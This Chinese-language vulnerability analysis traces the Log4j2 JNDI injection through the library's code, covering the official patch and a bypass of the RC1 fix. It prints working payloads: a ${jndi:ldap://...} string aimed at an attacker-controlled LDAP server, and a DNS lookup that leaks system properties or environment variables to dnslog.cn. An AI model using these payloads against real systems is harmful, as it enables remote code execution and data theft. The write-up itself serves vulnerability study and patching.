Apache Log4j2 JNDI注入
补丁分析
根据官方Github Restrict LDAP access via JNDI 的这条PR可知漏洞为JNDI注入,从补丁中也能得知修复方式添加了LDAP Server白名单及白名单类,位于 log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java。
对于补丁后的 JndiManager#lookup 方法其使用 URI
类解析,如果协议为 LDAP
则 Host
必须为 allowHosts
中存在的 Host
,否则无法发起请求。(即无法调用lookup)。
从补丁中可得知如下信息:
- 漏洞为JNDI注入
- 修复方式采用白名单
而 log4j2 是一个日志组件/框架,其提供的功能也就是打印日志并存储,可控的输入点实际上不会太多,从官方文档可知污点大概率会存在于日志打印时的 info
、debug
、error
等方法中,只有在调用这些方法时才会大概率拼接上用户可控的输入参数(Sink)。
漏洞分析
在撰写本文时网上已经公布了该漏洞的Poc,直接在 logger.error
处断点分析,进入 AbstractLogger#error方法。
调用 logIfEnabled
方法时传入的第二个参数(即日志等级)为 Level.ERROR
值为 200
。
回到 logIfEnabled
方法中其会调用 isEnabled
方法,其中 level
对象的值为 200
, message
变量为打印的消息。
进入 isEnabled
调用 Logger$PrivateConfig#filter
方法
1 | return this.privateConfig.filter(level, marker, message, t); |
在filter
方法中如果当前对象的 intLevel
成员变量大于等于 level.intLevel()
方法的返回值则返回 true
,而此处返回 true
则会进入 if
分支中调用 logMessage
方法,反之则无法调用。
而 Logger.intLevel
的值默认为 ERROR
即200,所以一些伙伴在本地复现漏洞时会发现只有 error
、fatal
方法能触发漏洞,实际上是因为 log4j
的默认日志等级为 error
,所以即使使用 logger.info
打印任何消息在控制台中也不会输出日志信息,但在实际的生产环境中,部分开发会将日志等级设置为 info
、debug
等便降低了漏洞利用门槛。(如果你需要在 info
等方法中复现漏洞只需手动设置日志等级即可)
1 | Configurator.setLevel(LogManager.getLogger(HelloWorld.class), Level.info) |
(下图说明了默认的日志等级为ERROR)
回到 logIfEnabled
方法其会调用 logMessage
方法将 message
字符串封装为 Message
对象再调用 logMessageSafely
方法。
调用 logMessageTrackRecursion
方法:
incrementRecursionDepth
方法会调用至 getRecursionDepthHolder
方法, recursionDepthHolder
是一个 ThreadLocal
的 int[]
数组变量,表示当前递归深度。
而后再进入 tryLogMessage
方法中调用 log
方法:
this.privateConfig.loggerConfig.getReliabilityStrategy()
返回 LoggerConfig.reliabilityStrategy
的成员变量,其在初始化时赋值为 DefaultReliabilityStrategy
对象,该对象实现 LocationAwareReliabilityStrategy
接口因此进入IF分支。
调用 LoggerConfig#log
方法:
propertiesRequireLookup
成员变量在默认构造器初始化时被赋值为 false
,再此调用重载的 log
方法。
LoggerConfig.filter
为 null
进入 processLogEvent
方法
event.setIncludeLocation
赋值 MutablelogEvent
对象的 includeLcation
成员变量为true,LoggerConfig$LoggerConfigPredicate#allow
方法默认返回true进入IF分支,调用 callAppenders
方法。
调用 AppenderControl#callAppender
方法:
在 AppenderControl#callAppenderPreventRecursion
方法中调用 callAppender0
方法
进入 tryCallAppender
方法
调用 this.appender
为 ConsoleAppender
对象,由于子类不存在 append
方法,因此会调用到父类 AbstractOutputStreamAppender#append
方法
directEncodeEvent
方法中调用 PatternLayout#encode
方法
进入 PatternLayout#toText
方法
调用 PatternLayout$PatternSerializer#toSerializable
方法
formatters
变量是 PatternFormatter[]
对象数组,循环调用这些对象的 format
方法
循环至 PatternFormatter
对象的 converter
的成员变量为 MessagePatternConverter
对象时进入其 format
方法分析
当 workingBuilder
的第一位字符为 $
与第二位字符为 {
时进入分支中,从 DefaultConfiguration
对象获取 StrSubstitutor
对象调用其 replace
方法
跟进 substitute
方法
substitute
方法中的 while
循环内获取打印的消息中 ${
的结束位置索引,而此处打印的消息为 ${jndi:ldap://192.168.0.114:1389/ygoa8q}
,因此为 2
。而后进入 else
分支中
else
分支中的 while
循环中如果 pos
大于等于 bufEnd
则跳出 label117
标记的循环(即当前位置大于字符总长度时跳出循环),随后的 if
判断中 pos
(起始位置)为2,因此 prefixMatcher.isMatch
返回 0
,进入 else
分支。
对打印的消息进行处理后会调用 resolveVariable
方法
此处即可查看StrSubstitutor.variableResolver
中包含 jndi
、sys
、env
等等…(与后续的信息泄露利用相关)
通过分号进行截取 prefix
与 name
,从 strLookupMap
属性获取 JndiLookup
对象(strLookupMap为Map<String, StrLookup>),此处调用至 JndiLookup#lookup
方法
convertJndiName
方法判断传入字符串参数如果不以 java:comp/env/
开头且不包含 :
,则会为其添加 java:comp/env/
前缀并返回。
JndiManager#getDefaultManager
获取 JndiManager
实例对象后调用其 lookup
方法
context
为 javax.naming.InitialContext
对象,调用其 lookup
方法且参数可控最终造成JNDI注入
Poc
Lookups
上述 Debug
过程中可得知除了 jndi
外还支持 lower
、upper
、sys
、env
等等…
upper & lower
顾名思义,该Lookup用于转换为大写,LowerLookup
同理
sys & env
调用 System.getProperty
获取系统属性,env
同理用于获取系统环境变量,配合 {jndi:dns://{${sys:java.version}.dnslog.cn}}
可通过DNS外带系统属性或环境变量值
…
其余Lookup感兴趣的可自行尝试。
RC1补丁 Bypass
RC1的补丁在
org.apache.logging.log4j.core.net.JndiManager
类中新增了白名单验证,如果协议为LDAP
或LDAPS
则Host必须为allowedHosts
列表中(默认只有本地IP存在)。但由于解析JNDI链接时使用java.net.URI
类解析,且捕捉了URISyntaxException
异常未进行任何操作,在代码走到方法最后时执行lookup
,导致RC1补丁被绕过。(但RC1补丁默认情况下已经不会开启LookUp,所以需要在手动开启该功能的情况下才会触发漏洞),而RC2的补丁则是在捕获异常处直接return null
。